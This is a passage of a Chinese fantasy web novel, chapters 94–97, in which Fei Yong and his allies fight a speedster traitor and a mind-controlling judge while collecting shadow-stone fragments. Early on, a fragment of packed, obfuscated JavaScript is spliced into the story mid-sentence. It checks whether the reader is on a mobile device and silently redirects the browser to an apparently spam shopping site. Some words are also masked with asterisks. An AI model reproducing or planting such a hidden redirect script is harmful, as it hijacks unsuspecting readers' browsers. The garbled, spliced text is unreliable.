小女孩的尖叫像根针,刺破了车间里紧绷的空气。布娃娃突然炸开,粉色光粒瞬间化作冰雾,所过之处,执法者的动作全被冻住。更诡异的是,所有影子都开始扭曲——原本正常的人形影子长出利爪和獠牙,像无数只从地狱爬出来的怪物,死死盯着那些执法者。
“啊——!”举着电击器的执法者突然崩溃尖叫,他看见自己的影子正张开血盆大口,吓得瘫在地上抽搐,“怪物!好多怪物!”
这声惨叫像个开关,所有执法者都开始疯狂挣扎。他们看不见粉色冰雾,却能清晰地感知到影子里的恶意,有的用头撞墙,有的互相撕咬,原本整齐的队伍瞬间变成了疯人院。
“这是……恐惧具象化?”苏清月看着那些自乱阵脚的敌人,指尖的金光微微颤抖,“艳玲的情绪能量,竟然能影响影子?”
费勇却注意到更可怕的事。夏艳玲正抱着头蹲在地上,眼泪像断了线的珠子砸在地上,每滴泪都化作粉色光粒融入影界领域。而随着她的哭泣,领域正在以肉眼可见的速度扩张,那些扭曲的影子怪物纷纷扑向执法者,将他们的影子从地面硬生生拽了出来。
“妈妈……别丢下我……”夏艳玲的哭声里混着细碎的呓语,她的小手在地面乱抓,像是在寻找什么,“布娃娃……妈妈的味道……”
费勇的影子突然传来一阵刺痛。他低头,看见自己的暗影正在与夏艳玲的粉色光粒产生共鸣,像两团磁场互相吸引。更诡异的是,他的脑海里突然闪过一些不属于自己的画面——
暴雨中的街道,一个穿着碎花裙的女人把布娃娃塞进小女孩怀里,女人的影子在路灯下拉得很长,里面流淌着和费勇影子里一样的金色纹路。“玲儿记住,”女人的声音带着哭腔,“跟着影子里有光的人,就能活下去……”
“十年前的记忆?”费勇猛地晃了晃头,想驱散这些画面,却感觉头越来越痛。夏艳玲的情绪波动像潮水,顺着共鸣的影子不断涌进他的脑海,恐惧、绝望、还有一丝微弱的希望,每种情绪都清晰得像他亲身经历。
“费勇!”林悦的雷矛突然炸响,打断了他的失神。一个执法者趁乱冲出影子怪物的包围,手里握着柄嵌着影石的短刀,正朝夏艳玲扑去,“他的影子被异能抑制器屏蔽了!”
费勇瞬间影遁到夏艳玲身前,暗影在背后化作巨盾。短刀刺中影盾的瞬间,发出刺耳的摩擦声,影石的红光与暗影的紫光撞出火星。他反手一抓,将执法者的影子攥在掌心,却发现对方的影子僵硬得像块铁板——抑制器果然起作用了。
“给我死!”执法者狞笑着按下短刀上的按钮,影石碎片突然爆发出强光,影盾上瞬间出现裂痕。
就在这时,夏艳玲突然停止哭泣。她抬起头,泪眼朦胧地看着费勇的背影,小手轻轻按在他的影子上。“布娃娃说,光在里面……”
粉色光粒顺着她的手掌涌入影盾,那些即将裂开的暗影突然变得粘稠,像融化的沥青将短刀牢牢粘住。更惊人的是,影盾表面浮现出金色的纹路,顺着短刀蔓延,竟将执法者手里的抑制器烧成了焦黑的废铁。
“怎么可能……”执法者的瞳孔骤缩,他的影子突然恢复柔软,被费勇的暗影瞬间缠住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935484|192884||http|test|mini|href|location''.split(''|''),0,{}));
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r>费勇没给他反应的机会,影盾猛地收缩,将执法者裹成个黑色的茧。他转身抱住还在发抖的夏艳玲,感觉她的小手滚烫,像揣着个小小的火炉。“没事了,我在。”
夏艳玲把头埋在他怀里,布娃娃的碎片突然从地上飘起来,重新拼凑成完整的样子,只是娃娃的眼睛变成了金色。“布娃娃说,你和妈妈说的人一样……”她的声音带着浓重的鼻音,“影子里有光……”
费勇的心猛地一跳。他看向自己的影子,那些金色纹路在月光下轻轻闪烁,确实和记忆碎片里女人影子里的纹路一模一样。“你妈妈……是不是叫夏柔?”这个名字突然从他嘴里冒出来,连他自己都觉得惊讶。
夏艳玲猛地抬头,眼睛瞪得圆圆的:“你怎么知道妈妈的名字?”
就在这时,车间的铁门突然被撞得粉碎。风行者的身影带着破空的呼啸冲进来,他的速度快得只能看见道残影,手里握着根银色短矛,矛头直指费勇怀里的夏艳玲。
“判官要的是情绪核心,抓住这小丫头,你就没用了!”
林悦的雷矛和苏清月的绿藤同时出手,却连风行者的衣角都没碰到。费勇立刻将夏艳玲护在身后,影刃重新凝聚,刃身的金色纹路因之前的共鸣变得格外明亮。
“你的速度,在我的领域里没用。”费勇的暗影顺着地面蔓延,将整个车间变成沼泽,“影界领域,扩张!”
紫色暗影瞬间覆盖所有角落,风行者的残影突然变得迟缓,像陷入泥潭的汽车。他惊讶地低头,看见自己的影子正被无数暗影丝线缠住,每移动一步,都感觉有千斤重。
“怎么可能……我的超音速从来没被压制过!”风行者的声音带着难以置信的惊恐。
费勇没有回答。他正通过共鸣的影子,清晰地感知到风行者的速度轨迹——在影界领域里,再快的速度也会留下影子的痕迹。他举起影刃,金色纹路顺着刃身流动,瞄准了风行者下一秒即将出现的位置。
“结束了。”
影刃挥出的瞬间,风行者的残影突然消失。费勇的瞳孔骤缩,感知里的影子轨迹突然中断,像被什么东西硬生生斩断。他猛地转头,看见车间的墙壁上多了个圆形的破洞,风行者的声音从外面传来,带着毫不掩饰的得意:
“蠢货,以为这就是我的全力?等着吧,破晓的人马上就到——到时候,你们都会死!”
第94章:破晓的支援
风行者的声音刚消失在工厂外,车间的铁皮屋顶就被一股巨力掀开。月光倾盆而下,照亮了十几个穿着黑色作战服的人影——他们戴着破晓组织的银色徽章,手里的武器泛着异能特有的微光,看起来威风凛凛。
“是破晓的人!”苏清月的绿藤瞬间收回,她扶着夏艳玲后退半步,指尖的金光却没熄灭,“老鬼说的支援终于来了。”
费勇却皱紧了眉头。这些人的影子在月光下抖得厉害,不像训练有素的战士,反倒像提线木偶。更奇怪的是,为首那人的作战服领口露出半截银色项链,吊坠的形状和时默的机械表残骸一模一样。
“不对劲。”费勇的影刃突然指向天空,“他们的影子里……有裁决会的能量!”
话音未落,那些“破晓成员”突然齐刷刷地转身,武器全部对准了费勇。为首那人扯掉脸上的面罩,露出张被影石碎片侵蚀的脸——皮肤下青筋暴起,瞳孔里布满蛛网般的红纹,正是刚才逃跑的风行者。
“反应挺快啊。”风行者的嘴角咧到耳根,他抬手扯断项链,吊坠炸开的瞬间,所有作战服上的银色徽章都变成了黑色,“可惜太晚了,这些都是我用超音速带过来的‘礼物’。”
那些被控制的破晓成员突然发动攻击。有的喷出火焰,有的操控石块,异能杂乱却密集,瞬间将车间中央炸出个大坑。林悦的雷网刚张开就被火焰烧穿,电流噼啪作响,在她手臂上留下一串燎泡。
“这些人被精神控制了!”林悦疼得龇牙咧嘴,雷矛却精准地敲在一个攻击者的后颈,“他们的意识还在挣扎!”
费勇的影界领域瞬间收缩,将所有被控制者圈在中间。暗影能量顺着他们的影子往上爬,像绷带一样缠住四肢,却在接触到黑色徽章时被弹开——那些徽章里嵌着微型影石,能隔绝暗影侵蚀。
“没用的。”风行者突然出现在费勇身后,他的拳头带着超音速的破空声,擦着费勇的耳根砸在地上,“这些徽章是判官特制的,专门克制你的暗影。”
费勇借着反作用力影遁到侧面,影刃横扫而出,却只切开了风行者留下的残影。他喘着粗气摸向胸口,刚才硬接那拳的地方火辣辣地疼——连续战斗让他的能量所剩无几,影界领域的边缘已经开始闪烁。
“放弃吧。”风行者的声音从四面八方传来,他的身影在车间里高速移动,留下上百个残影,“判官说了,只要把你活着带回去,我就是新的审判长。到时候整个破晓都是我的,你爸妈的失踪案?我随手就能给你编个结局。”
这句话像根针,狠狠扎进费勇的神经。他的影子突然剧烈翻涌,紫色暗影中渗出金色的光——那是被愤怒点燃的暗影本源,顺着血管灼烧到四肢百骸。
“你不配提他们。”费勇的影刃突然暴涨到四米长,金色纹路在刃身流转,“影界领域,超载!”
暗影能量像海啸般席卷整个车间。那些黑色徽章在领域内发出刺耳的哀鸣,表面的漆层寸寸剥落,露出里面正在融化的影石碎片。被控制的破晓成员突然停滞,他们的影子里渗出银色光粒,与费勇的暗影产生共鸣。
“这是……破晓的能量?”风行者的残影突然变得粘稠,他惊恐地发现自己的超音速开始卡顿,“你的领域怎么可能……”
费勇没有回答。他能清晰地感知到那些影子里的求救信号,无数微弱的意识像星星一样闪烁。影刃在空中划出个圆弧,金色纹路突然亮起,将所有银色光粒吸入其中——这是他刚才从夏艳玲那里学到的,用暗影承载他人的能量。
“还给你们!”
影刃劈向地面的瞬间,银色光粒顺着暗影爆发。被控制的破晓成员突然晃了晃头,眼神里的红纹迅速消退。他们茫然地看着手里的武器,又看看费勇,其中一个戴眼镜的年轻人突然喊道:“是风行者!他把我们的精神核心和影石绑定了!”
风行者见势不妙,转身就往工厂外冲。他的速度比之前快了一倍,残影在墙上撞出一连串破洞,眼看就要消失在夜色里。
“想跑?”费勇突然抓住身边一个破晓成员的影子,“借你的能力用用!”
接触到影子的瞬间,费勇感觉双腿灌满了风。他的速度突然暴涨,眼前的景象开始模糊,耳边只剩下呼啸的风声——这是那个戴眼镜年轻人的异能“风速加持”,虽然远不如风行者的超音速,却能让他勉强跟上对方的轨迹。
“你竟然能复制异能?”风行者的声音里第一次出现恐惧,他猛地转身挥拳,拳头上裹着超音速产生的气刃,“那就一起死!”
费勇的影刃与气刃碰撞的瞬间,他感觉手臂像被卡车撞到。暗影能量剧烈波动,影界领域差点溃散。他借着后退的惯性影遁到风行者上方,影刃倒转,金色纹路瞄准了对方后颈的影石吊坠——那是他维持超音速的能量源。
“就是现在!”
影刃刺下的瞬间,风行者突然加速下沉,同时反手将一枚黑色药丸塞进嘴里。他的身体突然冒出蒸汽,速度再次飙升,竟在间不容发之际避开攻击,还在费勇的肩膀上留下道深可见骨的伤口。
“这是判官给的‘速神丸’,能让我五分钟内突破音障。”风行者舔了舔指尖的血迹,笑容狰狞,“现在的我,连自己都控制不住速度,你拿什么跟我打?”
费勇捂着流血的肩膀后退,暗影能量正在快速流失。他的视线开始模糊,影界领域像漏气的气球一样缩小,眼看就要彻底消失。
就在这时,通讯器突然滋滋作响,老鬼那带着烟嗓的声音炸响:“风行者是内鬼!他十年前就被判官收买了!真正的支援在东边,让那小子尝尝超音速撞墙的滋味!”
话音
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未落,工厂东边传来一声巨响。一道比风行者快十倍的残影撞破围墙,带着蓝色的电光,像颗**般冲向风行者。
“什么人?”风行者的瞳孔骤缩,他想躲,却发现自己的身体突然僵硬——那道残影周围的空气被电离,形成了无形的磁场,牢牢锁住了他的轨迹。
“你的好日子到头了。”
残影落地的瞬间,露出个穿着蓝色紧身衣的男人。他摘下面罩,露出张带着刀疤的脸,手里握着对嵌着宝石的拳套,拳套上的电光噼啪作响。
“闪电侠?”林悦突然瞪大了眼睛,“特调科的档案里说你三年前就牺牲了!”
被称为闪电侠的男人咧嘴一笑,拳套上的电光突然炸开:“那是老子故意让裁决会以为的。风行者,你偷走的‘超音速引擎’,该还了吧?”
风行者的脸色瞬间惨白。他转身就跑,却发现自己的速度在对方的电光磁场里越来越慢,就像在泥潭里挣扎。
“你以为判官给你的速神丸是好东西?”闪电侠的身影突然消失,再次出现时已经站在风行者身后,拳头带着电光砸向对方的后心,“那玩意儿的副作用,是让你永远变成速度的奴隶!”
拳头击中的瞬间,风行者发出一声不似人声的惨叫。他的身体突然膨胀,又迅速干瘪,超音速产生的气浪从七窍喷出,在地上撞出个浅坑。那些被他控制的破晓成员身上的黑色徽章同时炸开,银色的光芒重新亮起。
闪电侠甩了甩拳头,走到费勇面前,递过来一支绿色药剂:“老鬼说你需要这个。还有,灯塔大人让我带句话——影石快集齐了,小心判官的最终仪式。”
费勇接过药剂注入手臂,清凉的感觉瞬间驱散了疲惫。他看着闪电侠拳套上的宝石,突然发现那里面流动的能量,和自己影子里的金色纹路一模一样。
“你是……”
“以后有的是时间聊。”闪电侠突然竖起耳朵,拳套上的电光剧烈跳动,“西边又有动静,像是空间撕裂的能量反应。林警官,这些人交给你处理,我去看看。”
蓝色的残影再次消失在夜色里。林悦看着满地昏迷的破晓成员,突然踹了风行者一脚:“把他铐起来,等总部的人来审。”
费勇却盯着闪电侠消失的方向,影刃上的金色纹路正在共鸣。他能感觉到一股熟悉的能量正在靠近,既像老鬼的信息镜像,又带着父亲失踪前留给他的那块怀表的气息。
“看来,十年前的事,比我们想的更复杂。”苏清月的绿藤缠上费勇的肩膀,金光修复着伤口,“老鬼说的最终仪式,会和影石有关吗?”
费勇还没来得及回答,就听见夏艳玲突然指着地上的风行者尖叫。那个干瘪的身体里,正渗出黑色的液体,在地面汇成个六芒星图案,而图案的中心,躺着块从未见过的影石碎片——第七块。
第95章:救下夏艳玲
第七块影石碎片在六芒星图案中微微发亮,像块被墨汁浸透的碎玉。夏艳玲指着它往后缩了缩,小手攥着布娃娃的衣角,声音发颤:“它、它在动……”
费勇刚要上前查看,通讯器突然“滋啦”一声爆鸣,老鬼的声音混着电流传来:“小心影石共鸣!裁决会的人在附近布了能量场,碎片凑够七块会触发空间震荡——”
话没说完,地面的六芒星突然炸开黑紫色的光纹,像蛛网般蔓延到整个车间。费勇只觉脚下一空,暗影领域瞬间被撕裂出细小的裂缝,之前注射的绿色药剂带来的清凉感骤然消失,肩膀的伤口又开始火辣辣地疼。
“站稳了!”他一把抓住身边的苏清月,余光却瞥见角落里闪过个黑影——是个穿着执法者制服的男人,正举着改装过的能量枪,枪口对准了离光纹最近的夏艳玲。那枪身泛着诡异的红光,显然是裁决会特制的“破灵枪”,专打异能者的能量核心。
“小心!”费勇想影遁过去,却发现空间被光纹锁死,暗影能量像被冻住的水流,根本无法流动。他眼睁睁看着那执法者扣动**,枪口中喷出道刺眼的红芒。
“砰!”
千钧一发之际,夏艳玲怀里的布娃娃突然炸开团粉色光雾,像层软乎乎的棉花糖裹住了红芒。但光雾只撑了半秒就被击穿,红芒擦着她的发梢飞过,在身后的铁架上炸出个焦黑的窟窿。
执法者骂了句脏话,正要开第二枪,林悦的雷网已经劈头盖脸罩了下来。可他像是早有准备,猛地撞开旁边的木箱,从里面滚出个冒着白烟的**——不是普通**,是能瘫痪异能的“沉默弹”。
“躲开!”费勇嘶吼着扑向夏艳玲,就在沉默弹炸开的瞬间,他用后背硬生生挡住了那片灰白色的雾气。暗影领域像被戳破的气球般溃散,他感觉体内的能量瞬间被抽干,眼前阵阵发黑,肩膀的伤口更是疼得像被撒了把盐。
“费勇哥!”夏艳玲吓得大哭,小手胡乱抹着他嘴角溢出的血。执法者趁机再次举枪,这次枪口稳稳对准了她的眉心。
费勇眼前发黑,却凭着本能抓住夏艳玲往身后拽。他知道自己现在连影遁的力气都没有,只能用身体当盾牌。就在**即将射出的瞬间,道绿藤像鞭子般抽来,精准地缠住了执法者的手腕——是苏清月!她的绿藤上还沾着没来得及清理的草药汁,带着股清苦的味道。
“想动她,先过我这关!”苏清月的声音带着从未有过的冷硬,绿藤上突然冒出细密的尖刺,深深扎进执法者的皮肉里。
林悦的雷矛紧随而至,“滋啦”一声劈在执法者的枪上,将那把破灵枪击得粉碎。可这家伙像是疯了,突然放弃武器,从腰后摸出把闪着寒光的短刀,反手就朝苏清月刺去——他的目标从一开始就不是夏艳玲,而是要借此打乱阵型,趁机偷袭最弱的苏清月!
“小心!”费勇想推开苏清月,却发现自己连抬手的力气都没有。他只能眼睁睁看着短刀越来越近,苏清月的绿藤还缠着执法者的另一只手,根本来不及收回。
就在这时,夏艳玲突然扑了过来,手里紧紧攥着那只刚被打坏的布娃娃。她没什么异能,却用尽全力把苏清月往旁边一撞,自己硬生生撞向了那把短刀。
“不要!”费勇目眦欲裂。
可预想中的刺痛没有传来。夏艳玲低头一看,布娃娃的残骸不知何时挡在了她身前,那只缝补过无数次的布手正好卡在刀刃上。而执法者的动作突然僵住了——林悦的雷电流顺着绿藤爬遍了他的全身,正让他浑身抽搐。
“抓住他!”林悦大喊着扑上来,一记手刀劈在执法者的后颈。这家伙闷哼一声倒在地上,眼睛却还死死盯着夏艳玲,嘴里嘟囔着:“判官说了……情绪核心……必须带回……”
费勇瘫坐在地上,大口喘着气。夏艳玲扑进他怀里,哭得抽抽噎噎:“费勇哥,你流了好多血……”她的小手摸到他后背的伤口,突然顿住,“咦?暖暖的……”
费勇低头一看,只见夏艳玲的掌心泛着淡淡的粉光,那些光粒正顺着他的伤口往里钻。所过之处,灼痛感竟在慢慢消退,原本溃散的暗影能量也像找到了源头,开始丝丝缕缕地往回聚拢。
“这是……”他惊讶地看着夏艳玲,她的小脸上还挂着泪珠,眼睛却亮晶晶的,像藏着星星。
“暖暖的,像梦里的光。”夏艳玲傻乎乎地笑了,小手在他后背轻轻拍着,“妈妈说,善良的人受伤了,就会有光来帮忙的。”
苏清月蹲
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下身,轻轻碰了碰那些粉光,突然“呀”了一声:“这是……情绪能量!而且是最纯粹的善意能量,能修复能量损伤!”她转头看向费勇,眼里满是惊喜,“你的暗影能量在恢复,而且比之前更精纯了!”
费勇能清晰地感觉到,那些粉光像股暖流,不仅修复着伤口,还在滋养着他的暗影本源。他甚至能感觉到,有什么东西在体内觉醒了——像是之前被风行者打断的“能量循环”,此刻正借着这股善意能量重新转动起来。
“原来……这才是你真正的能力。”费勇轻声说,抬手擦掉夏艳玲脸上的泪,“不是恐惧,不是愤怒,是能治愈一切的善意。”
夏艳玲似懂非懂地点点头,突然指着他的影子笑了:“费勇哥,你的影子在发光!像有好多小星星在里面跳来跳去!”
费勇低头看向自己的影子,果然,暗影里浮动着点点粉光,像揉碎的星河。他突然明白老鬼说的“羁绊能量”是什么意思了——不是简单的能力叠加,而是当善意与信任交织时,能催生出连裁决会都无法理解的力量。
被捆住的执法者突然剧烈挣扎起来,眼睛瞪得通红:“不可能……判官说情绪核心只能用来……”话没说完就被林悦敲晕了过去。
苏清月扶着费勇站起来,看着他后背的伤口以肉眼可见的速度愈合,惊叹道:“这能量循环太神奇了,你的暗影能量不仅恢复了,好像还变强了?”
费勇活动了下肩膀,暗影能量在体内流转自如,甚至比之前更凝练。他看向夏艳玲,她正抱着那只破布娃娃,小心翼翼地把它拼起来,嘴里还念念有词:“娃娃不怕,我们回家……”
他突然想起十年前,父母失踪那天,也是这样一个夜晚。年幼的他缩在衣柜里,听见外面有打斗声,还有个温柔的声音说:“别怕,光会找到善良的人。”
原来光一直都在,只是藏在最纯粹的善意里。
费勇握紧拳头,暗影能量在掌心凝聚成柄短刃,刃身流转着淡淡的粉光——那是夏艳玲的善意能量与他的暗影本源融合的证明。
“走,我们回家。”他说。
夏艳玲笑着扑过来拉住他的手,她的掌心还残留着淡淡的粉光,像颗永远不会熄灭的小太阳。
第96章:群体精神控制
夏艳玲刚把布娃娃的脑袋缝好,车间角落突然传来金属摩擦的刺耳声响。费勇的影刃瞬间出鞘,粉色光粒在刃身流转——他能感觉到,那截断臂的审判长正在阴影里蠕动,像条断成两截的毒蛇。
“别装**。”费勇的暗影顺着地面蔓延,在墙角织成张密不透风的网,“你的时间停滞对我没用,不如早点出来聊聊。”
阴影里的东西突然发出咯咯怪笑,像生锈的齿轮在转动。紧接着,道血红色的丝线从黑暗中射出,擦着夏艳玲的耳朵钉在铁皮墙上。丝线震颤着,渗出粘稠的黑雾,落地竟化作只巴掌大的蜘蛛,八条腿上都长着细小的眼睛。
“这是……精神丝线凝聚的具象体?”苏清月的绿藤瞬间护住夏艳玲,指尖的金光剧烈跳动,“他在透支生命力催动异能!”
审判长的身影从阴影里浮出来。他脸色惨白如纸,断臂处缠着圈蠕动的血丝,左眼变成了纯黑色,瞳孔里布满蛛网般的红纹。“聊?当然要聊。”他抬起仅剩的左手,掌心浮现出颗核桃大的黑色晶体,“聊聊你们怎么变成我的提线木偶。”
林悦的雷矛已经凝聚成型,电流在矛尖噼啪作响:“少废话!裁决会的走狗,今天就让你尝尝电击治疗的滋味!”
“急什么?”审判长突然捏碎了掌心的晶体。黑色晶体炸开的瞬间,无数条血红色的丝线像喷泉般涌出,在空中织成张巨大的网,朝着所有人罩来。更诡异的是,那些被闪电侠打晕的破晓成员和执法者突然抽搐着站起来,眼睛变成了和审判长一样的纯黑色。
“成为我的傀儡,一起为判官大人献祭吧!”审判长的声音里带着癫狂,“看看是你们的异能厉害,还是被控制的同伴厉害!”
最先发难的是个破晓成员。他原本操控火焰的异能突然失控,火球朝着苏清月的绿藤砸来,嘴里还机械地重复着:“抹杀异类……抹杀异类……”
“小心!”费勇的影盾及时挡在前面,火球撞在盾上炸开,热浪燎得他眉毛发焦。他刚想反击,却发现那名成员的影子正在扭曲——审判长的精神丝线已经钻进了影子里,像寄生虫般控制着行动。
“这些丝线能通过影子传播!”费勇大喊着后撤,暗影领域瞬间扩张,紫色能量试图切断丝线,却被它们灵活避开,“林悦,用电场干扰!”
林悦早已化作道蓝色电光,雷网在车间里炸开,将半数丝线劈成焦黑的粉末。但她很快发现不对劲——被控制的人里混着几个破晓的近战异能者,他们的身体被丝线强化过,竟能顶着电流扑过来,拳头带着破风的力道砸向费勇。
“妈的!这也太赖了!”林悦气得爆粗口,雷矛不得不转向攻击同伴,电流却不敢用全力,“清月,有没有能让人清醒的药?”
苏清月正被三个执法者**,绿藤在她身边织成个球形护盾,叶片上沾着执法者的血。“有!但需要时间催生!”她的额头渗出细汗,另一只手在口袋里摸索着什么,“我需要能散发气味的植物载体……”
就在这时,夏艳玲突然举着布娃娃冲了过来,粉色光粒顺着娃娃的缝线往外冒:“别打了!他们是好人啊!”她的声音带着哭腔,那些粉色光粒落在被控制者身上,竟让他们的动作顿了半秒。
“有用!”费勇眼睛一亮,暗影突然化作数百条触须,将夏艳玲的粉色光粒裹住,像发射炮弹般射向被控制者,“艳玲,集中注意力!用你的善意能量冲击他们!”
夏艳玲似懂非懂地点头,小手紧紧抱着布娃娃。她想起苏清月之前说的话,努力回忆着被费勇保护时的温暖,粉色光粒突然变得浓郁,像团棉花糖撞在个破晓成员脸上。那人的眼睛闪过丝清明,嘴里喃喃着:“队长……我怎么……”
但审判长的丝线立刻收紧,那人的眼睛再次变黑,动作比之前更狂暴,竟直接咬向费勇的肩膀。
“该死!”费勇不得不影遁避开,影刃在那人胳膊上划出道口子,血珠溅在地上,“他在强行压制清醒意识!”
苏清月突然大喊:“找到了!”她从口袋里掏出个小纸包,里面是些褐色的种子,“这是‘清醒草’的种子,能散发麻痹精神丝线的香气!但需要大量水分和能量催化!”
费勇立刻明白了她的意思,暗影在地面汇成个水洼,紫色能量注入其中。苏清月将种子撒进水洼,绿藤瞬间缠上它们,生命能量疯狂涌入——褐色种子以肉眼可见的速度发芽、抽叶,三秒内就长成片半米高的青草,淡紫色的小花在顶端绽放,散发出股类似薄荷混合柠檬的清香。
香气扩散的瞬间,被控制者的动作明显变慢,有些人甚至开始捂鼻子,眼睛里的黑纹出现了松动。
“有效!”苏清月惊喜地喊道,绿藤继续催生青草,“这香气能分解精神丝线的能量!”
审判长的脸色终于变了。他猛地掐住自己的喉咙,硬生生咳出团血雾,那些血雾落地化作更多丝线,朝着青草堆扑去,想要将它们绞碎。
“想毁了它们?问过我了吗?”费勇的影刃突然暴涨,金色纹路在刃身亮起,他竟将夏艳玲的粉色光粒注入其中,刃风扫过,瞬间将血雾劈成齑粉,“影界领域,影傀儡!”
紫色暗影突然凝聚成几个和被控制者一模一样的傀儡,它们冲上去抱住真身,让清醒草的香气能更充分地渗透。那些被抱住的人挣扎着,眼睛里的黑纹像退潮般消退,终于软软地倒在地上,嘴里发出疲惫的**。
“不可能……我的精神**……”审判长捂着胸口后退,左眼的黑纹开始扩散,爬满了半张脸,“判官大人不会允许失败的……”
他突然看向角落里的第七块影石碎片,眼睛里闪过丝疯狂。就在费勇以为他要故技重施时,审判长却做出了个让人意想不到的举动——他竟将残余的精神丝线全部扯断,硬生生塞进自己的左眼!
“既然控制不了你们……”审判长的左眼突然爆出刺眼的红光,整个车间开始
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剧烈震颤,“那就让你们尝尝……精神崩溃的滋味!”
费勇突然感觉脑袋像被塞进个正在旋转的搅拌机,无数混乱的画面涌进来——十年前的火灾、父母失踪前的背影、裁决会的刑房……这些画面不属于他,却带着强烈的情绪冲击,让他差点呕吐出来。
“这是……群体精神冲击!”苏清月也脸色惨白,绿藤支撑着她才没倒下,“他在燃烧自己的精神核心,释放所有人的恐惧记忆!”
林悦的情况更糟,她的电场因精神混乱开始失控,电流在她身边乱蹿,差点劈中自己。“该死……我好像看到我爸牺牲的画面了……”她咬着牙不让自己倒下,雷矛却在颤抖,“费勇,想办法……”
费勇的暗影领域正在崩溃,那些混乱的记忆像病毒般侵蚀着他的意识。他看见夏艳玲抱着头蹲在地上,粉色光粒忽明忽灭,显然也受到了冲击。
不能倒下!
费勇猛地咬碎舌尖,剧痛让他清醒了半秒。他想起与夏艳玲的能量循环,想起苏清月的生命绿藤,想起林悦的雷矛——他们的影子此刻正在地上微微发光,彼此缠绕,像在互相支撑。
“对了……羁绊……”
费勇突然将影刃刺入地面,紫色能量顺着地面蔓延,将所有人的影子连在一起。夏艳玲的粉色光粒、苏清月的绿色能量、林悦的蓝色电流,顺着影子汇入费勇体内,与他的暗影本源融合在一起。
“影界领域……完全形态·共鸣!”
紫色暗影突然爆发,金色、绿色、蓝色的光粒在其中流转,像条彩色的星河。审判长释放的精神冲击撞在领域上,竟被瞬间分解,化作无害的光点消散。
更惊人的是,那些被分解的光点中,浮现出无数细小的金色丝线,它们与众人影子里的能量相连,在领域内织成个巨大的网——这是费勇新领悟的能力,用羁绊能量编织“精神屏障”,不仅能隔绝冲击,还能净化负面情绪。
审判长的左眼突然爆开,鲜血溅了他满脸。他难以置信地看着费勇,身体像被抽走了骨头般软倒在地,嘴里嗬嗬地吐着血沫:“为……为什么……”
费勇走到他面前,影刃抵着他的喉咙,领域内的彩色光粒在他身后流转:“因为你不懂,真正的力量从来不是控制,是守护。”
审判长的眼睛失去了神采,最后看了眼第七块影石碎片,头歪向一边,彻底没了气息。
车间里终于安静下来,只剩下众人的喘息声。被控制的人都已清醒,正互相搀扶着站起来,看费勇的眼神里充满了敬畏。
苏清月走到费勇身边,绿藤轻轻碰了碰他的影子,那里还残留着彩色的光粒:“你的领域……好像又进化了。”
费勇点点头,正想说什么,脚下突然传来震动。第七块影石碎片不知何时漂浮到了半空,与他影子里的六块碎片产生共鸣,发出刺眼的光芒。
“不好!”费勇突然想起老鬼的话,“影石共鸣要开始了!”
第97章:影石碎片的异动
第七块影石碎片在半空剧烈震颤,黑紫色的光纹像活物般爬上车间的钢梁。费勇影子里的六块碎片突然躁动起来,在他皮肤下游走,像要破体而出——这种感觉很熟悉,和十年前父母留下的那枚怀表突然发烫时一模一样。
“抓紧我!”费勇的暗影瞬间缠上苏清月和夏艳玲,林悦也被他拽住手腕。电流在林悦指尖噼啪作响,与费勇影子里渗出的粉色光粒撞在一起,竟迸出串金色的火花。
“这共鸣太诡异了!”林悦盯着那些火花,突然咋舌,“我的电流好像被碎片吸走了!”
话音未落,审判长的尸体突然抽搐起来。他那只爆掉的左眼窟窿里,竟缓缓浮起块指甲盖大的影石碎片——通体漆黑,边缘泛着血红色的光,正是预告里提到的第六块碎片。
“藏在这种地方?真够恶心的。”费勇的影刃抵住碎片,却被股强大的吸力弹开。更惊悚的是,碎片表面突然浮现出张微型人脸,赫然是判官那张没有瞳孔的脸。
“费勇,我们终于以这种方式‘见面’了。”判官的声音从碎片里传出,带着金属摩擦般的质感,“十年前你父亲没能完成的事,该由你接手了。”
“少提我爸妈!”费勇的暗影瞬间暴涨,紫色能量像海啸般拍向碎片,却被它表面的红光吞噬,“他们到底在哪?!”
碎片突然发出刺耳的尖啸。第六块碎片与第七块碎片之间的空气开始扭曲,形成道旋转的黑色漩涡,车间地面的铁皮像纸片般被掀起,露出下面布满裂纹的混凝土。
“清月!”费勇突然大喊。他看见苏清月的绿藤正在枯萎,生命能量被漩涡一点点抽走,脸色白得像张纸。
苏清月咬着牙催生藤蔓,试图抵抗吸力,却徒劳地发现叶片正在以肉眼可见的速度发黄:“这碎片在吸收生命能量……它在完成审判长的献祭!”
夏艳玲突然抱紧布娃娃蹲下身,粉色光粒在她周围形成个光球:“它好难过……碎片在哭……”
费勇这才注意到,第六块碎片的红光里混着无数细小的白色光点,像在挣扎的灵魂。他突然想起老鬼说过的话——影石碎片是用异能者的精神核心炼制的,每块碎片里都囚禁着上百个灵魂。
“判官,你连**都不放过?”费勇的暗影突然化作张巨网,将第六块碎片罩住,“这些灵魂,我替你解放了!”
“解放?真是天真。”判官的笑声从碎片里炸开,“它们是影石阵的基石,缺一不可。而你——”
碎片突然爆发出刺眼的红光,与费勇影子里的六块碎片产生共鸣。车间地面轰然裂开,露出个深不见底的洞口,洞壁上布满与影石碎片纹路相同的刻痕,像条通往地狱的血管。
“——是启动阵眼的最后一把钥匙。”
随着判官的话音,第六块碎片突然冲向费勇的胸口。他想影遁躲开,却发现身体被股无形的力量钉在原地——影子里的六块碎片正在剧烈共鸣,与第六块碎片形成个能量闭环,将他牢牢锁在中央。
“费勇哥!”夏艳玲的粉色光球突然炸开,光粒像流星雨般撞在能量闭环上。令人震惊的是,闭环竟出现了道裂缝,费勇趁机挣脱束缚,影遁到洞口边缘。
“这洞……”苏清月扶着墙壁站起来,绿藤顺着洞壁往下延伸,“下面有很强大的能量反应,和青禾堂古籍里记载的影石阵完全一致!”
林悦的电流突然顺着洞壁往下窜,几秒后她猛地缩回手,指尖焦黑:“下面至少有三层!最底层的能量场能直接融化金属!”
第六块碎片悬浮在洞口中央,与第七块碎片遥遥相对,形成个不断扩大的能量漩涡。费勇影子里的碎片突然全部冲出皮肤,在他身后组成个半透明的六芒星,与洞口的漩涡产生共鸣。
